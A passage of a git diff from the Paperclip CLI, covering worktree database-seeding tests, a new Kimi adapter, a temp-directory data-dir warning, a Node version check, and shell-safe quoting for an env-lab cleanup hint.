seed.sql.gz: FATAL: the database system is shutting down; psql error: write EPIPE", + ); + }), + }, ), - ).rejects.toThrow("seed failed"); + ).rejects.toThrow("database system is shutting down"); - expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(true); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "failed", + phase: "restore", + diagnostics: expect.arrayContaining([ + expect.objectContaining({ + phase: "restore", + status: "failed", + message: + "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed.", + }), + ]), + }); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(false); expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(false); expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false); } finally { @@ -522,6 +1046,7 @@ describe("worktree helpers", () => { fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); fs.writeFileSync( path.join(targetRoot, ".paperclip", ".env"), @@ -531,28 +1056,17 @@ describe("worktree helpers", () => { const seedDatabase = vi.fn(async () => { await new Promise((resolve) => setTimeout(resolve, 100)); - return { - backupSummary: "snapshot.sql", - pausedScheduledRoutines: 0, - executionQuarantine: { - disabledTimerHeartbeats: 0, - resetRunningAgents: 0, - quarantinedInProgressIssues: 0, - unassignedTodoIssues: 0, - unassignedReviewIssues: 0, - }, - reboundWorkspaces: [], - }; + return mockVerifiedSeedResult(); }); const results = await Promise.all([ - ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), - ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), + ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }), + ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }), ]); expect(results).toEqual(expect.arrayContaining([ expect.objectContaining({ seeded: true, reason: "seeded" }), - { seeded: false, reason: "complete_marker" }, + { seeded: false, reason: "verified_manifest" }, ])); expect(seedDatabase).toHaveBeenCalledTimes(1); expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false); @@ -561,6 +1075,59 @@ describe("worktree helpers", () => { } }); + it("records an interrupted phase before retrying to a verified terminal state", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-interrupted-seed-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "interrupted-seed", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3196, + databasePort: 54996, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); + const interrupted = readWorktreeSeedManifest(targetConfigPath)!; + fs.writeFileSync( + path.join(targetRoot, ".paperclip", "seed-manifest.json"), + `${JSON.stringify({ ...interrupted, state: "running", phase: "restore" }, null, 2)}\n`, + ); + + await expect(ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { seedDatabase: vi.fn().mockResolvedValue(mockVerifiedSeedResult()) }, + )).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + const verified = readWorktreeSeedManifest(targetConfigPath)!; + expect(verified.state).toBe("verified"); + expect(verified.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ + phase: "restore", + status: "failed", + message: "The previous seed attempt ended without a terminal result.", + }), + ])); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + it("fails closed instead of racing to reclaim a stale seed lock", async () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-stale-lock-")); try { @@ -599,6 +1166,10 @@ describe("worktree helpers", () => { const todoIssueId = randomUUID(); const reviewIssueId = randomUUID(); const userIssueId = randomUUID(); + const projectId = randomUUID(); + const projectWorkspaceId = randomUUID(); + const executionWorkspaceId = randomUUID(); + const runtimeServiceId = randomUUID(); try { await db.insert(companies).values({ @@ -634,6 +1205,64 @@ describe("worktree helpers", () => { permissions: {}, }, ]); + await db.insert(projects).values({ + id: projectId, + companyId, + name: "Runtime quarantine", + status: "in_progress", + }); + await db.insert(projectWorkspaces).values({ + id: projectWorkspaceId, + companyId, + projectId, + name: "Primary workspace", + cwd: "/source/project", + metadata: { + keep: "project-metadata", + runtimeConfig: { + workspaceRuntime: { services: [{ name: "paperclip-dev" }] }, + desiredState: "running", + serviceStates: { "0": "running", "1": "manual" }, + }, + }, + }); + await db.insert(executionWorkspaces).values({ + id: executionWorkspaceId, + companyId, + projectId, + projectWorkspaceId, + mode: "isolated_workspace", + strategyType: "git_worktree", + name: "Copied runtime workspace", + cwd: "/source/worktree", + providerType: "git_worktree", + metadata: { + keep: "execution-metadata", + config: { + environmentId: "environment-1", + desiredState: "running", + serviceStates: { "0": "running" }, + }, + }, + }); + await db.insert(workspaceRuntimeServices).values({ + id: runtimeServiceId, + companyId, + projectId, + projectWorkspaceId, + executionWorkspaceId, + scopeType: "project_workspace", + scopeId: projectWorkspaceId, + serviceName: "paperclip-dev", + status: "running", + lifecycle: "shared", + provider: "local_process", + providerRef: "12345", + ownerAgentId: agentId, + port: 42013, + url: "https://paperclip-dev.example.test:42013", + healthStatus: "healthy", + }); await db.insert(issues).values([ { id: inProgressIssueId, @@ -685,6 +1314,9 @@ describe("worktree helpers", () => { quarantinedInProgressIssues: 1, unassignedTodoIssues: 1, unassignedReviewIssues: 1, + stoppedProjectWorkspaceRuntimes: 1, + stoppedExecutionWorkspaceRuntimes: 1, + stoppedRuntimeServices: 1, }); const [quarantinedAgent] = await db.select().from(agents).where(eq(agents.id, agentId)); @@ -715,6 +1347,47 @@ describe("worktree helpers", () => { const comments = await db.select().from(issueComments).where(eq(issueComments.issueId, inProgressIssueId)); expect(comments).toHaveLength(1); expect(comments[0]?.body).toContain("Quarantined during worktree seed"); + + const [projectWorkspace] = await db + .select() + .from(projectWorkspaces) + .where(eq(projectWorkspaces.id, projectWorkspaceId)); + expect(projectWorkspace?.metadata).toEqual({ + keep: "project-metadata", + runtimeConfig: { + workspaceRuntime: { services: [{ name: "paperclip-dev" }] }, + desiredState: "stopped", + serviceStates: { "0": "stopped", "1": "manual" }, + }, + }); + + const [executionWorkspace] = await db + .select() + .from(executionWorkspaces) + .where(eq(executionWorkspaces.id, executionWorkspaceId)); + expect(executionWorkspace?.metadata).toEqual({ + keep: "execution-metadata", + config: { + environmentId: "environment-1", + desiredState: "stopped", + serviceStates: { "0": "stopped" }, + }, + }); + + const [runtimeService] = await db + .select() + .from(workspaceRuntimeServices) + .where(eq(workspaceRuntimeServices.id, runtimeServiceId)); + expect(runtimeService).toMatchObject({ + status: "stopped", + healthStatus: "unknown", + providerRef: null, + ownerAgentId: null, + startedByRunId: null, + port: null, + url: null, + }); + expect(runtimeService?.stoppedAt).toBeInstanceOf(Date); } finally { await db.$client?.end?.({ timeout: 5 }).catch(() => undefined); await tempDb.cleanup(); @@ -854,7 +1527,94 @@ describe("worktree helpers", () => { }); itEmbeddedPostgres( - "seeds authenticated users into minimally cloned worktree instances", + "seeds a local-trusted implicit board user without a credential account", + async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-local-board-seed-")); + const worktreeRoot = path.join(tempRoot, "PAP-17696-local-board-seed"); + const sourceConfigDir = path.join(tempRoot, "source"); + const sourceConfigPath = path.join(sourceConfigDir, "config.json"); + const sourceKeyPath = path.join(sourceConfigDir, "secrets", "master.key"); + const worktreeHome = path.join(tempRoot, ".paperclip-worktrees"); + const originalCwd = process.cwd(); + const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-local-board-source-"); + + try { + await seedValidWorktreeSource(sourceDb.connectionString, { + includeCredentialAccount: false, + userId: "local-board", + }); + fs.mkdirSync(path.dirname(sourceKeyPath), { recursive: true }); + fs.mkdirSync(worktreeRoot, { recursive: true }); + + const sourceConfig = buildSourceConfig(); + sourceConfig.database = { + ...sourceConfig.database, + mode: "postgres", + connectionString: sourceDb.connectionString, + }; + sourceConfig.server.deploymentMode = "local_trusted"; + sourceConfig.server.exposure = "private"; + sourceConfig.auth.baseUrlMode = "auto"; + delete sourceConfig.auth.publicBaseUrl; + sourceConfig.secrets.localEncrypted.keyFilePath = sourceKeyPath; + + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig, null, 2)}\n`, "utf8"); + fs.writeFileSync(sourceKeyPath, "source-master-key", "utf8"); + + process.chdir(worktreeRoot); + await worktreeInitCommand({ + name: "PAP-17696-local-board-seed", + home: worktreeHome, + fromConfig: sourceConfigPath, + force: true, + }); + + const targetConfigPath = path.join(worktreeRoot, ".paperclip", "config.json"); + const targetConfig = JSON.parse(fs.readFileSync(targetConfigPath, "utf8")) as PaperclipConfig; + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "verified", + phase: "complete", + }); + + const { default: EmbeddedPostgres } = await import("embedded-postgres"); + const targetPg = new EmbeddedPostgres({ + databaseDir: targetConfig.database.embeddedPostgresDataDir, + user: "paperclip", + password: "paperclip", + port: targetConfig.database.embeddedPostgresPort, + persistent: true, + initdbFlags: ["--encoding=UTF8", "--locale=C", "--lc-messages=C"], + onLog: () => {}, + onError: () => {}, + }); + + await targetPg.start(); + try { + const targetDb = createDb( + `postgres://paperclip:paperclip@127.0.0.1:${targetConfig.database.embeddedPostgresPort}/paperclip`, + ); + const [seededLocalBoard] = await targetDb + .select({ id: authUsers.id }) + .from(authUsers) + .where(eq(authUsers.id, "local-board")); + const seededAccounts = await targetDb.select().from(authAccounts); + expect(seededLocalBoard?.id).toBe("local-board"); + expect(seededAccounts).toHaveLength(0); + await targetDb.$client.end({ timeout: 5 }); + } finally { + await targetPg.stop(); + } + } finally { + process.chdir(originalCwd); + await sourceDb.cleanup(); + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }, + 30_000, + ); + + itEmbeddedPostgres( + "seeds a lagging source whose migration application order differs from filename order", async () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-auth-seed-")); const worktreeRoot = path.join(tempRoot, "PAP-999-auth-seed"); @@ -868,15 +1628,57 @@ describe("worktree helpers", () => { const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-auth-source-"); try { + await seedValidWorktreeSource(sourceDb.connectionString); const sourceDbClient = createDb(sourceDb.connectionString); - await sourceDbClient.insert(authUsers).values({ - id: "user-existing", - email: "existing@paperclip.ing", - name: "Existing User", - emailVerified: true, - createdAt: new Date(), - updatedAt: new Date(), - }); + await sourceDbClient.$client.unsafe(` + DELETE FROM "drizzle"."__drizzle_migrations" + WHERE "id" = ( + SELECT max("id") FROM "drizzle"."__drizzle_migrations" + ); + + WITH pair AS ( + SELECT + array_agg("id" ORDER BY "id" DESC) AS ids, + array_agg("hash" ORDER BY "id" DESC) AS hashes + FROM ( + SELECT "id", "hash" + FROM "drizzle"."__drizzle_migrations" + ORDER BY "id" DESC + LIMIT 2 + ) latest + ) + UPDATE "drizzle"."__drizzle_migrations" migrations + SET "hash" = CASE + WHEN migrations."id" = pair.ids[1] THEN pair.hashes[2] + WHEN migrations."id" = pair.ids[2] THEN pair.hashes[1] + ELSE migrations."hash" + END + FROM pair + WHERE migrations."id" IN (pair.ids[1], pair.ids[2]); + + INSERT INTO "drizzle"."__drizzle_migrations" ("hash", "created_at") + VALUES ('stale-unresolvable-migration-hash', 0) + `); + await sourceDbClient.$client.end({ timeout: 5 }); + const laggingMigrationState = await inspectMigrations(sourceDb.connectionString); + expect(laggingMigrationState.status).toBe("needsMigrations"); + if (laggingMigrationState.status !== "needsMigrations") { + throw new Error("Expected the source migration journal to lag the code journal"); + } + expect(laggingMigrationState.pendingMigrations).toHaveLength(1); + const expectedAppliedPrefix = laggingMigrationState.availableMigrations.slice( + 0, + laggingMigrationState.appliedMigrations.length, + ); + expect(laggingMigrationState.appliedMigrations).not.toEqual(expectedAppliedPrefix); + expect([...laggingMigrationState.appliedMigrations].sort()).toEqual( + [...expectedAppliedPrefix].sort(), + ); + expect(laggingMigrationState.journalEntryCount).toBeGreaterThan( + laggingMigrationState.appliedMigrations.length, + ); + const sourceMigrationRevision = expectedAppliedPrefix.at(-1); + expect(sourceMigrationRevision).toBeTruthy(); fs.mkdirSync(path.dirname(sourceKeyPath), { recursive: true }); fs.mkdirSync(worktreeRoot, { recursive: true }); @@ -913,6 +1715,19 @@ describe("worktree helpers", () => { const targetConfig = JSON.parse( fs.readFileSync(path.join(worktreeRoot, ".paperclip", "config.json"), "utf8"), ) as PaperclipConfig; + const manifestText = fs.readFileSync( + path.join(worktreeRoot, ".paperclip", "seed-manifest.json"), + "utf8", + ); + expect(JSON.parse(manifestText)).toMatchObject({ + version: 2, + seedMode: "minimal", + state: "verified", + phase: "complete", + }); + expect(manifestText).toContain(`Validated migration ${sourceMigrationRevision}`); + expect(manifestText).not.toContain("fixture-password-hash"); + expect(manifestText).not.toContain("source-master-key"); const { default: EmbeddedPostgres } = await import("embedded-postgres"); const targetPg = new EmbeddedPostgres({ databaseDir: targetConfig.database.embeddedPostgresDataDir, @@ -1025,6 +1840,61 @@ describe("worktree helpers", () => { } }); + it("reserves distinct ports for postgres-mode siblings under a custom worktree parent", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-custom-parent-")); + const homeDir = path.join(tempRoot, ".paperclip-worktrees"); + const customParentDir = path.join(tempRoot, "custom", "workspace-lanes"); + const firstWorktreeRoot = path.join(customParentDir, "lane-one"); + const secondWorktreeRoot = path.join(customParentDir, "lane-two"); + const missingSourceConfig = path.join(tempRoot, "missing", "config.json"); + const firstConfigPath = path.join(firstWorktreeRoot, ".paperclip", "config.json"); + const secondConfigPath = path.join(secondWorktreeRoot, ".paperclip", "config.json"); + const originalCwd = process.cwd(); + + try { + fs.mkdirSync(firstWorktreeRoot, { recursive: true }); + fs.mkdirSync(secondWorktreeRoot, { recursive: true }); + + process.chdir(firstWorktreeRoot); + await worktreeInitCommand({ + name: "lane-one", + seed: false, + fromConfig: missingSourceConfig, + home: homeDir, + }); + + const firstConfig = JSON.parse(fs.readFileSync(firstConfigPath, "utf8")); + firstConfig.database = { + ...firstConfig.database, + mode: "postgres", + connectionString: "postgres://paperclip:paperclip@127.0.0.1:54330/paperclip", + }; + fs.writeFileSync(firstConfigPath, `${JSON.stringify(firstConfig, null, 2)}\n`, "utf8"); + + process.chdir(secondWorktreeRoot); + await worktreeInitCommand({ + name: "lane-two", + seed: false, + fromConfig: missingSourceConfig, + home: homeDir, + }); + + const secondConfig = JSON.parse(fs.readFileSync(secondConfigPath, "utf8")); + const registry = JSON.parse( + fs.readFileSync(path.join(homeDir, "worktree-port-reservations.json"), "utf8"), + ); + + expect(secondConfig.server.port).not.toBe(firstConfig.server.port); + expect(secondConfig.database.embeddedPostgresPort).not.toBe( + firstConfig.database.embeddedPostgresPort, + ); + expect(registry.configPaths).toEqual([firstConfigPath, secondConfigPath].sort()); + } finally { + process.chdir(originalCwd); + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + it("defaults the seed source config to the current repo-local Paperclip config", () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-source-config-")); const repoRoot = path.join(tempRoot, "repo"); @@ -1169,9 +2039,8 @@ describe("worktree helpers", () => { const originalCwd = process.cwd(); const originalPaperclipConfig = process.env.PAPERCLIP_CONFIG; const currentDatabaseReservation = await reserveTestPort(); - const sourceDatabaseReservation = await reserveTestPort(); const currentDatabasePort = currentDatabaseReservation.port; - const sourceDatabasePort = sourceDatabaseReservation.port; + const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-reseed-source-"); try { fs.mkdirSync(path.dirname(currentPaths.configPath), { recursive: true }); @@ -1186,15 +2055,28 @@ describe("worktree helpers", () => { serverPort: 3114, databasePort: currentDatabasePort, }); - const sourceConfig = buildWorktreeConfig({ - sourceConfig: buildSourceConfig(), - paths: sourcePaths, - serverPort: 3200, - databasePort: sourceDatabasePort, - }); + const sourceConfig = buildSourceConfig(); + sourceConfig.database = { + mode: "postgres", + embeddedPostgresDataDir: sourcePaths.embeddedPostgresDataDir, + embeddedPostgresPort: 54329, + backup: { + enabled: true, + intervalMinutes: 60, + retentionDays: 30, + dir: sourcePaths.backupDir, + }, + connectionString: sourceDb.connectionString, + }; + sourceConfig.logging.logDir = sourcePaths.logDir; + sourceConfig.storage.localDisk.baseDir = sourcePaths.storageDir; + sourceConfig.secrets.localEncrypted.keyFilePath = sourcePaths.secretsKeyFilePath; + await seedValidWorktreeSource(sourceDb.connectionString); fs.writeFileSync(currentPaths.configPath, JSON.stringify(currentConfig, null, 2), "utf8"); fs.writeFileSync(sourcePaths.configPath, JSON.stringify(sourceConfig, null, 2), "utf8"); fs.writeFileSync(sourcePaths.secretsKeyFilePath, "source-secret", "utf8"); + const worktreeSentinelPath = path.join(repoRoot, "user-worktree-file.txt"); + fs.writeFileSync(worktreeSentinelPath, "preserve me", "utf8"); fs.writeFileSync( currentPaths.envPath, [ @@ -1210,11 +2092,11 @@ describe("worktree helpers", () => { process.chdir(repoRoot); await currentDatabaseReservation.release(); - await sourceDatabaseReservation.release(); await worktreeReseedCommand({ fromConfig: sourcePaths.configPath, yes: true, + backupTarget: true, }); const rewrittenConfig = JSON.parse(fs.readFileSync(currentPaths.configPath, "utf8")); @@ -1226,9 +2108,13 @@ describe("worktree helpers", () => { expect(rewrittenEnv).toContain(`PAPERCLIP_INSTANCE_ID=${currentInstanceId}`); expect(rewrittenEnv).toContain("PAPERCLIP_WORKTREE_NAME=existing-name"); expect(rewrittenEnv).toContain("PAPERCLIP_WORKTREE_COLOR=\"#112233\""); + expect(fs.readFileSync(worktreeSentinelPath, "utf8")).toBe("preserve me"); + expect( + fs.readdirSync(path.join(currentPaths.backupDir, "repair")).some((name) => name.endsWith(".sql.gz")), + ).toBe(true); } finally { await currentDatabaseReservation.release(); - await sourceDatabaseReservation.release(); + await sourceDb.cleanup(); process.chdir(originalCwd); if (originalPaperclipConfig === undefined) { delete process.env.PAPERCLIP_CONFIG; diff --git a/cli/src/adapters/registry.ts b/cli/src/adapters/registry.ts index f30e32eafb6..7dfa12db95a 100644 --- a/cli/src/adapters/registry.ts +++ b/cli/src/adapters/registry.ts @@ -5,6 +5,7 @@ import { printCursorStreamEvent } from "@paperclipai/adapter-cursor-local/cli"; import { printCursorCloudEvent } from "@paperclipai/adapter-cursor-cloud/cli"; import { printGeminiStreamEvent } from "@paperclipai/adapter-gemini-local/cli"; import { printGrokStreamEvent } from "@paperclipai/adapter-grok-local/cli"; +import { printKimiStreamEvent } from "@paperclipai/adapter-kimi-local/cli"; import { formatStdoutEvent as printHermesGatewayStreamEvent } from "@paperclipai/hermes-paperclip-adapter/gateway/cli"; import { printHermesStreamEvent } from "@paperclipai/hermes-paperclip-adapter/cli"; import { printOpenCodeStreamEvent } from "@paperclipai/adapter-opencode-local/cli"; @@ -53,6 +54,11 @@ const grokLocalCLIAdapter: CLIAdapterModule = { formatStdoutEvent: printGrokStreamEvent, }; +const kimiLocalCLIAdapter: CLIAdapterModule = { + type: "kimi_local", + formatStdoutEvent: printKimiStreamEvent, +}; + const hermesGatewayCLIAdapter: CLIAdapterModule = { type: "hermes_gateway", formatStdoutEvent: printHermesGatewayStreamEvent, @@ -78,6 +84,7 @@ const adaptersByType = new Map( cursorCloudCLIAdapter, geminiLocalCLIAdapter, grokLocalCLIAdapter, + kimiLocalCLIAdapter, hermesGatewayCLIAdapter, hermesLocalCLIAdapter, openclawGatewayCLIAdapter, diff --git a/cli/src/checks/database-check.ts b/cli/src/checks/database-check.ts index 4d4ef811e11..8e15cad14a3 100644 --- a/cli/src/checks/database-check.ts +++ b/cli/src/checks/database-check.ts @@ -1,8 +1,16 @@ import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; import type { PaperclipConfig } from "../config/schema.js"; import type { CheckResult } from "./index.js"; import { resolveRuntimeLikePath } from "./path-resolver.js"; +function isInsideOsTmpDir(targetPath: string): boolean { + const tmpRoot = path.resolve(os.tmpdir()); + const resolved = path.resolve(targetPath); + return resolved === tmpRoot || resolved.startsWith(`${tmpRoot}${path.sep}`); +} + export async function databaseCheck(config: PaperclipConfig, configPath?: string): Promise { if (config.database.mode === "postgres") { if (!config.database.connectionString) { @@ -37,9 +45,33 @@ export async function databaseCheck(config: PaperclipConfig, configPath?: string if (config.database.mode === "embedded-postgres") { const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath); - const reportedPath = dataDir; + + // A worktree-mode instance whose data dir lives under the OS temp dir is a red + // flag: this is what happens when PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE leak + // into a PRIMARY instance's environment and silently relocate it to a throwaway + // temp home, so it boots an empty DB and locks everyone out. (Intentional + // ephemeral/CI instances that don't set PAPERCLIP_IN_WORKTREE are not flagged.) + // Check BEFORE creating the dir so we don't bootstrap the very temp location + // we're warning about. + if (isInsideOsTmpDir(dataDir) && process.env.PAPERCLIP_IN_WORKTREE === "true") { + return { + name: "Database", + status: "warn", + message: + `Embedded PostgreSQL data dir is inside the OS temp directory (${dataDir}) ` + + "while running in worktree mode (PAPERCLIP_IN_WORKTREE=true). Data stored here is " + + "ephemeral and will be lost on reboot or a temp cleanup. If this is your primary " + + "instance, PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE likely leaked into its environment, " + + "pointing it at a throwaway worktree home instead of your real data.", + canRepair: false, + repairHint: + "If this is the primary instance, unset PAPERCLIP_HOME and PAPERCLIP_IN_WORKTREE " + + "(or pass --data-dir ) and restart so it uses the persistent instance.", + }; + } + if (!fs.existsSync(dataDir)) { - fs.mkdirSync(reportedPath, { recursive: true }); + fs.mkdirSync(dataDir, { recursive: true }); } return { diff --git a/cli/src/checks/managed-install-check.ts b/cli/src/checks/managed-install-check.ts index 025f1bf33f3..3f1447a4e77 100644 --- a/cli/src/checks/managed-install-check.ts +++ b/cli/src/checks/managed-install-check.ts @@ -7,6 +7,7 @@ import { type InstallStorePaths, } from "../install-store.js"; import type { CheckResult } from "./index.js"; +import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version"; function pathContains(directory: string): boolean { const normalized = path.resolve(directory); @@ -33,14 +34,13 @@ function hasManagedArtifacts(paths: InstallStorePaths): boolean { } export function nodeRuntimeCheck(): CheckResult { - const major = Number.parseInt(process.versions.node.split(".")[0] ?? "0", 10); - return major >= 20 + return isSupportedNodeVersion(process.versions.node) ? { name: "Node.js runtime", status: "pass", message: `Node.js ${process.versions.node}` } : { name: "Node.js runtime", status: "fail", message: `Node.js ${process.versions.node} is unsupported`, - repairHint: "Install Node.js 20 or newer before installing or running Paperclip", + repairHint: `Install Node.js ${MINIMUM_NODE_VERSION} or newer before installing or running Paperclip`, }; } diff --git a/cli/src/client/http.ts b/cli/src/client/http.ts index 745cf15db27..dd4f784776d 100644 --- a/cli/src/client/http.ts +++ b/cli/src/client/http.ts @@ -233,7 +233,7 @@ function buildConnectionErrorMessage(input: { "This usually means the Paperclip server is not running, the configured URL is wrong, or the request is being blocked before it reaches Paperclip.", "", "Try:", - "- Start Paperclip with `pnpm dev` or `pnpm paperclipai run`.", + "- Start Paperclip with `pnpm dev` (from a source checkout) or `npx paperclipai run`.", `- Verify the server is reachable with \`curl ${healthUrl}\`.`, `- If Paperclip is running elsewhere, pass \`--api-base ${input.apiBase.replace(/\/+$/, "")}\` or set \`PAPERCLIP_API_URL\`.`, ); diff --git a/cli/src/commands/client/agent.ts b/cli/src/commands/client/agent.ts index 6d6677e4244..3f81da6c6b3 100644 --- a/cli/src/commands/client/agent.ts +++ b/cli/src/commands/client/agent.ts @@ -93,7 +93,7 @@ interface CreatedAgentKey { } interface SkillsInstallSummary { - tool: "codex" | "claude"; + tool: "codex" | "claude" | "kimi"; target: string; linked: string[]; removed: string[]; @@ -115,10 +115,16 @@ function claudeSkillsHome(): string { return path.join(base, "skills"); } +function kimiSkillsHome(): string { + const fromEnv = process.env.KIMI_CODE_HOME?.trim(); + const base = fromEnv && fromEnv.length > 0 ? fromEnv : path.join(os.homedir(), ".kimi-code"); + return path.join(base, "skills"); +} + async function installSkillsForTarget( sourceSkillsDir: string, targetSkillsDir: string, - tool: "codex" | "claude", + tool: "codex" | "claude" | "kimi", ): Promise { const summary: SkillsInstallSummary = { tool, @@ -771,7 +777,7 @@ export function registerAgentCommands(program: Command): void { .option("--key-name ", "API key label", "local-cli") .option( "--no-install-skills", - "Skip installing Paperclip skills into ~/.codex/skills and ~/.claude/skills", + "Skip installing Paperclip skills into ~/.codex/skills, ~/.claude/skills, and ~/.kimi-code/skills", ) .action(async (agentRef: string, opts: AgentLocalCliOptions) => { try { @@ -803,6 +809,7 @@ export function registerAgentCommands(program: Command): void { installSummaries.push( await installSkillsForTarget(skillsDir, codexSkillsHome(), "codex"), await installSkillsForTarget(skillsDir, claudeSkillsHome(), "claude"), + await installSkillsForTarget(skillsDir, kimiSkillsHome(), "kimi"), ); } diff --git a/cli/src/commands/env-lab.ts b/cli/src/commands/env-lab.ts index 55227c9f631..2e65bd36bf1 100644 --- a/cli/src/commands/env-lab.ts +++ b/cli/src/commands/env-lab.ts @@ -1,4 +1,5 @@ import path from "node:path"; +import { fileURLToPath } from "node:url"; import type { Command } from "commander"; import * as p from "@clack/prompts"; import pc from "picocolors"; @@ -111,6 +112,76 @@ export async function envLabDownCommand(opts: { instance?: string; json?: boolea p.log.message(`State: ${pc.dim(statePath)}`); } +// Quote one argument for a POSIX shell. The env-lab cleanup hint is copyable, so +// a contributor can paste it into a shell. A checkout path can hold shell +// metacharacters, such as `$`, a backtick, or a double quote. Inside double +// quotes a POSIX shell still expands `$(...)`, a backtick pair, and `$NAME`, and +// a double quote in the path ends the quoted span. So double quotes do not make +// the path safe. Single quotes stop every expansion. This function wraps the +// value in single quotes and rewrites each embedded single quote as the `'\''` +// sequence. The shell then reads the exact path and runs no embedded command. +function shellQuoteArgument(value: string): string { + return "'" + value.replace(/'/g, "'\\''") + "'"; +} + +// Describe how to re-run the env-lab CLI to stop the fixture. The bundled build +// emits one `dist/index.js` file, so node runs that file directly and `tsxBin` +// is `null`. A source checkout runs `src/index.ts` through the checked-out tsx +// runner, because the entry is TypeScript. +interface EnvLabCliInvocation { + entry: string; + tsxBin: string | null; +} + +// Resolve how to re-run the CLI from the running module location. The cleanup +// hint must run the same CLI that prints it, so it stops the correct version. +// `import.meta.url` gives the running module. The bundled build runs this module +// from `/dist/index.js`, so the hint runs that exact file with node. The +// published package ships no `src` directory and no tsx runner. A source +// checkout runs this module from `/src/commands/env-lab.ts`, so the hint +// runs `/src/index.ts` through the checked-out tsx runner. This resolver +// reads an absolute path from the module location, so the hint works from any +// working directory. The `modulePath` parameter is a test seam; production +// callers use the running module path. +export function resolveEnvLabCliInvocation( + modulePath: string = fileURLToPath(import.meta.url), +): EnvLabCliInvocation { + const moduleDir = path.dirname(modulePath); + const isSourceCheckout = + path.basename(moduleDir) === "commands" && path.basename(path.dirname(moduleDir)) === "src"; + if (isSourceCheckout) { + const cliRoot = path.resolve(moduleDir, "..", ".."); + return { + entry: path.join(cliRoot, "src", "index.ts"), + tsxBin: path.join(cliRoot, "node_modules", "tsx", "dist", "cli.mjs"), + }; + } + return { entry: modulePath, tsxBin: null }; +} + +// Build the env-lab cleanup hint as a copyable shell command. The hint stops the +// fixture that `env-lab doctor` inspected. It runs the same CLI that prints it, +// so it stops the correct version, and it forwards the inspected instance, so it +// stops the correct instance. It passes an inert `argv` value, so no shell reads +// the argument. Each path and the instance id pass through `shellQuoteArgument`, +// so a shell metacharacter stays inert when a contributor pastes the command. +// The `invocation` parameter is a test seam; production callers use the resolved +// running-module invocation. +export function buildEnvLabCleanupCommand( + opts: { instance?: string; invocation?: EnvLabCliInvocation } = {}, +): string { + const invocation = opts.invocation ?? resolveEnvLabCliInvocation(); + const parts = ["node"]; + if (invocation.tsxBin !== null) { + parts.push(shellQuoteArgument(invocation.tsxBin)); + } + parts.push(shellQuoteArgument(invocation.entry), "env-lab down"); + if (opts.instance !== undefined) { + parts.push("--instance", shellQuoteArgument(opts.instance)); + } + return parts.join(" "); +} + export async function envLabDoctorCommand(opts: { instance?: string; json?: boolean }) { const status = await collectEnvLabDoctorStatus(opts); @@ -138,7 +209,19 @@ export async function envLabDoctorCommand(opts: { instance?: string; json?: bool p.log.message(`State: ${pc.dim(status.statePath)}`); } - p.log.message(`Cleanup: 